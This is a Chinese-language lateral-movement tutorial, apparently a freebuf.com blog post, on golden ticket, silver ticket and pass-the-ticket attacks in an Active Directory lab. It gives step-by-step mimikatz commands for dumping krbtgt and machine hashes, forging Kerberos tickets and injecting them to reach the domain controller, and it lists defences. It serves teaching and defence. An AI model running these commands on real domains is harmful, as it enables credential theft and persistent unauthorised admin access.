内网渗透之域内横向技术:票据传递攻击总结 – 作者:白曦leno

我白曦小白一个,四月份左右拜师开始学习,所以文章中若是出现学艺不精,有错误请多多指教,我会及时改正。所有步骤我都会很详细的从我这个小白的角度去写,包括原理啊啥的,所以可能看起开比较繁琐,但一定会写的很具体,包括我学习中遇到的问题,我都会一一记录下来。
欢迎各位大佬多多指点,共同进步。

本篇文章一共讲解票据传递攻击三种方法

黄金票据

白银票据

PTT攻击

黄金票据

原理

在Kerberos认证中,Client通过AS(身份认证服务)认证后,AS会给Client一个
Logon Session Key和TGT,而Logon Session Key并不会保存在KDC中,krbtgt的NTLM Hash又是固定的,所以只要得到krbtgt的NTLM Hash,就可以伪造TGT和Logon Session Key来进入下一步Client与TGS的交互。而已有了金票后,就跳过AS验证,不用验证账户和密码,所以也不担心域管密码修改。

简介

在Windows的kerberos认证过程中,Client将自己的信息发送给KDC,然后KDC使用krbtgt用户的Hash作为密钥进行加密,生成TGT。那么如果获取到了krbtgt的Hash值,不就可以伪造任意的tgt了吗。因为krbtgt只有域控制器上面才有,所以使用黄金凭据意味着你之前拿到过域控制器的权限,黄金凭据可以理解为一个后门。
先假设这么一种情况,原先已拿到的域内所有的账户Hash,包括krbtgt这个账户,由于有些原因导致你对域管权限丢失,但好在你还有一个普通域用户权限,碰巧管理员在域内加固时忘记重置krbtgt密码,基于此条件,我们还能利用该票据重新获得域管理员权限,利用krbtgt的HASH值可以伪造生成任意的TGT(mimikatz),能够绕过对任意用户的账号策略,让用户成为任意组的成员,可用于Kerberos认证的任何服务。
在Kerberos认证中,Client通过AS(身份认证服务)认证后,AS会给Client一个Logon Session Key和TGT,而Logon Session Key并不会保存在KDC中,krbtgt的NTLM Hash又是固定的,所以只要得到krbtgt的NTLM Hash,就可以伪造TGT和Logon Session Key来进入下一步Client与TGS的交互。而已有了金票后,就跳过AS验证,不用验证账户和密码,所以也不担心域管密码修改。

特点

不需要与AS进行交互

需要用户krbtgt的HASH

实战

我们使用域环境中的子域控制器和子域用户来演示
图片.png

一、环境配置

###子域用户
首先,我们检查下我们的用户是什么权限

net user 用户名

图片.png我们可以看到我们是administrators最高权限,
如果是最高权限,我们需要创建一个新的普通用户

注意:创建新用户我们cmd要管理员权限才能运行

net user 用户名。  密码。   /add
net user testy QWEasd123 /add

图片.png执行成功后,我们重启,登录到我们刚创建的普通用户里
图片.png

子域控制器

假设我们已经拿下了,并能控制cmd
创建一个新用户,并把它加入到域控制组里面
因为实战的时候我们不能直接在administration权限上进行操作,动静太大

net user testq QWEasd123 /add /domain
  net group "Domain Admins" testq /add /domain

图片.png我们注销登录到我们新建的用户
图片.png

二、信息收集

我们伪造凭证,需要以下信息:

域名

域的SID值

域的KRBTGT账号的HASH

伪造的域管理员用户名

收集域名

net config workstation

图片.png
我们可以知道它的组是user1,以及域的信息是xiyou.dayu.com

扩展:
需要找到对应的真实IP方法

nltest /dsgetdc:域名
nltest /dsgetdc:xiyou.dayu.com

图片.png
可以看到真实ip是10.10.3.6

hash收集

上传mimikatz.exe
mimikatz的下载地址:https://github.com/gentilkiwi/mimikatz
用管理权限使用mimikatz.exe导出用户的krbtgt的hash

privilege::debug
  lsadump::dcsync /domain:xiyou.dayu.com /all /csv

图片.png

SID收集

查看krbtgt用户的SID值

lsadump::dcsync /domain:xiyou.dayu.com /user:krbtgt 
或者
wmic useraccount get name,sid

我们可以看到所有用户的SID
图片.png

伪造金票

票据要成功,我们要保证其没有缓存票据,如果有,我们需要清理后再进行

klist

图片.png利用mimikatz生成黄金票据

mimikatz.exe "kerberos::golden /admin:systest /domain:xiyou.dayu.com /sid:S-1-5-21-1816246241-4074331134-2257350442 /krbtgt:39601ebdad1d3e960ed3712398d3ab3a /ticket:ticket.kirbi" exit
 
 
 /admin:伪造的用户名(任意)
 /domain:域名称
 /sid:sid值,注意要去掉最后一个值 -后面的值
 /krbtgt:krbtgt的hash值
 /ticket:生成的票据名称

图片.png有了这个,我们就可以随时登陆到域控制器

测试票据是否成功

我们先把票据缓存清理了,然后我们再把生成的票据导进去,看是否能成功

清除缓存

klist purge

图片.png把生成的文件给导进去

kerberos::purge
  kerberos::ptt ticket.kirbi

图片.png查看票据

klist

图片.png导入成功
查看目录

dir \\xiyou.xiyou.dayu.com\c$

dir \\计算机名.域名\c$

图片.png票据成功

黄金票据特点

1.域控制器中的KDC服务不验证TGT中的用户帐户,直到TGT超过20分钟,这意味着攻击者可以使用禁用和删除的帐户,甚至是在Active Directory中不存在的虚拟帐户。

微软的MS-KILE解释:

Kerberos V5不提供对TGS请求的帐户撤销检查,只要TGT有效,即使该帐户已被删除,TGT更新和服务票据也可以发布。KILE提供了一个可以将利用时间限制在较短的时间内(20分内)。当TGT大于20分钟时,KILE KDC需要在域中检查账户。

2.由于在域控制器上由KDC服务生成的域设置了Kerberos策略,如果提供票据,则系统信任票据的有效性。这意味着,即使域策略声明Kerberos登录票据(TGT)只有10小时有效,如果票据声明有效期为10 年,那么也会信任票据的有效性期为10年。

3.该KRBTGT帐户密码从不更改*和直到KRBTGT密码被更改(两次),攻击者可以创建黄金票据。请注意,即使伪造用户更改其密码,创建用于模拟用户的Golden Ticket仍然存在。

4.它绕过了SmartCard身份验证要求,因为它绕过了DC在创建TGT之前执行的常规验证。

5.这个精心创建的TGT要求攻击者拥有Active Directory域的KRBTGT密码哈希值(通常从域控制器转储)。

6.KRBTGT nTLM哈希可用于生成一个有效的TGT(使用RC4)模拟任何用户访问Active Directory中的任何资源。

7.在主机上都可以生成和使用黄金票据(TGT),即使没有加入域也是如此。只要网络可以访问域。

8.用于从AD森林中的DC获取有效的TGS票据,并提供一个坚持在一切域访问所有的主机的好办法。

黄金票据防御

1.限制域管理员登录到除域控制器和少数管理服务器以外的任何其他计算机(不要让其他管理员登录到这些服务器)将所有其他权限委派给自定义管理员组。这大大降低了攻击者访问域控制器的Active Directory的ntds.dit。如果攻击者无法访问AD数据库(ntds.dit文件),则无法获取到KRBTGT帐户密码。

2.禁用KRBTGT帐户,并保存当前的密码以及以前的密码。KRBTGT密码哈希用于在Kerberos票据上签署PAC并对TGT(身份验证票据)进行加密。如果使用不同的密钥(密码)对证书进行签名和加密,则DC(KDC)通过检查KRBTGT以前的密码来验证。

3.建议定期更改KRBTGT密码(毕竟这是一个管理员帐户)。更改一次,然后让AD备份,并在12到24小时后再次更改它。这个过程应该对系统环境没有影响。这个过程应该是确保KRBTGT密码每年至少更改一次的标准方法。

4.一旦攻击者获得了KRBTGT帐号密码哈希的访问权限,就可以随意创建黄金票据。通过快速更改KRBTGT密码两次,使任何现有的黄金票据(以及所有活动的Kerberos票据)失效。这将使所有Kerberos票据无效,并消除攻击者使用其KRBTGT创建有效金票的能力。

白银票据

原理

如果说黄金票据是伪造的TGT,那么白银票据就是伪造的ST。
在Kerberos认证的第三部,Client带着ST和Authenticator3向Server上的某个服务进行请求,Server接收到Client的请求之后,通过自己的Master Key 解密ST,从而获得 Session Key。通过 Session Key 解密 Authenticator3,进而验证对方的身份,验证成功就让 Client 访问server上的指定服务了。
所以我们只需要知道Server用户的Hash就可以伪造出一个ST,且不会经过KDC,但是伪造的门票只对部分服务起作用。

简介

白银票据不同于黄金票据,白银票据的利用过程是伪造TGS,通过已知的授权服务密码生成一张可以访问该服务的TGT。因为在票据生成过程中不需要使用KDC,所以可以绕过域控制器,很少留下日志。而黄金票据在利用过程中由KDC颁发TGT,并且在生成伪造的TGT得20分钟内,TGS不会对该TGT的真伪进行效验。
白银票据依赖于服务账号的密码散列值,这不同于黄金票据利用需要使用krbtgt账号的密码哈希值,因此更加隐蔽。
如果说黄金票据是伪造的TGT,那么白银票据就是伪造的ST。

特点

不需要与KDC进行交互

需要server的NTLM hash

白银票据和黄金票据区别

获取的权限不同
金票:伪造的TGT,可以获取任意Kerberos的访问权限
银票:伪造的ST,只能访问指定的服务,如CIFS

认证流程不同
金票:同KDC交互,但不同AS交互
银票:不同KDC交互,直接访问Server

加密方式不同
金票:由krbtgt NTLM Hash 加密
银票:由服务账号 NTLM Hash 加密

实战

还是使用域环境中的子域控制器和子域用户来演示,接着使用上面已经配置好的环境
图片.png

一、信息收集

我们伪造凭证,需要以下信息

域名

域SID(test)

目标服务器的FQDN

可利用的服务

服务账号的NTLM Hash

要伪造的用户名

收集域名

net config workstation

图片.png我们可以知道它的组是user1,以及域的信息是xiyou.dayu.com

SID收集

查看krbtgt用户的SID值

lsadump::dcsync /domain:xiyou.dayu.com /user:krbtgt 
或者
wmic useraccount get name,sid

我们可以看到所有用户的SID
图片.png

收集NTLM Hash

导出用户testq的hash

mimikatz.exe "privilege::debug" "sekurlsa::logonpasswords" "exit">log.txt

图片.png

我们找带$符号的htlm

伪造银票

登录到创建的域管理员用户,首先看下票据缓存,必须保证没有票据,才能进行
图片.png若果有票据 需要先用mimikatz清空,再生成票据
清除数据

kerberos::purge

生成票据(命令运行成功后,会自动导入票据)

kerberos::golden /domain:xiyou.dayu.com /sid:S-1-5-21-1816246241-4074331134-2257350442 /target:xiyou.xiyou.dayu.com /service:cifs /rc4:6a1d820b3a7ebbac5408727be448cedf /user:ysys /ptt

* /domain:域名
* /sid ;sid值
* /target:域控制器全称
* /service:需要指定相关的服务名,此处为cifs
* /rc4:域控的计算机账户ntlm hash
*  /user:要伪造的用户名,任意写

图片.png图片.png可以看到,票据导入成功

扩展

上面命令是不会生成白银票据文本
如果想生成文本 去点命令的/ptt
再用mimikatz手动导入

kerberos::purge
  kerberos::ptt ticket.kirbi

测试

dir \\xiyou.xiyou.dayu.com\c$

dir \\计算机名.域名\c$

图片.png成功访问域控

防御手段

尽量保证凭证不被获取到凭证

增加验证方式

PTT

环境

还是使用前面创建的环境来进行渗透测试,保存票据,进行ptt攻击

简介

要想使用mimikatz的哈希传递功能,必须具有本地管理员权限。mimikatz 同样提供了不需要本地管理员权限进行横向渗透测试的方法,例如票据传递( Pass The Ticket, PTT). 本节将通过实验分析票据传递攻击的思路,并给出防范措施。

攻击方式

就不是简单的NTLM认证了,它是利用Kerberos协议进行攻击的

Kerberos协议具体工作方法:Kerberos认证方式,在域中,简要介绍一下:

客户机将明文密码进行NTLM哈希,然后和时间戳一起加密(使用krbtgt密码hash作为密钥),发送给kdc(域控),kdc对用户进行检测,成功之后创建TGT(Ticket-Granting Ticket)
将TGT进行加密签名返回给客户机器,只有域用户krbtgt才能读取kerberos中TGT数据
然后客户机将TGT发送给域控制器KDC请求TGS(票证授权服务)票证,并且对TGT进行检测
检测成功之后,将目标服务账户的NTLM以及TGT进行加密,将加密后的结果返回给客户机

生成票据

子域
创建一个文件夹,因为会生成大量文本
放入mimikatz
以管理员权限运行cmd
来到文件夹目录下
运行命令,生成所有域用户的票据

mimikatz "privilege::debug" "sekurlsa::tickets /export"

图片.png每个票据权限不同 找到创建的新用户或者其他票据传到子域用户里

测试

子域用户
先清理票据

klist purge

此时无法访问
图片.png将我们传过去的票据导入

mimikatz "kerberos::ptt "[0;fd7cf][email protected]"

mimikatz "kerberos::ptt "票据名"

导入成功后
再访问域控制器
图片.png

防御方法

及时更新服务器操作系统,及时安装补丁

避免赋予账户过多管理权限,将重要账户加入保护组,

域账户登录过的服务器一定要进行注销等操作

来源:freebuf.com 2021-07-26 15:54:25 by: 白曦leno

© 版权声明
THE END
喜欢就支持一下吧
点赞0
分享
评论 抢沙发

请登录后发表评论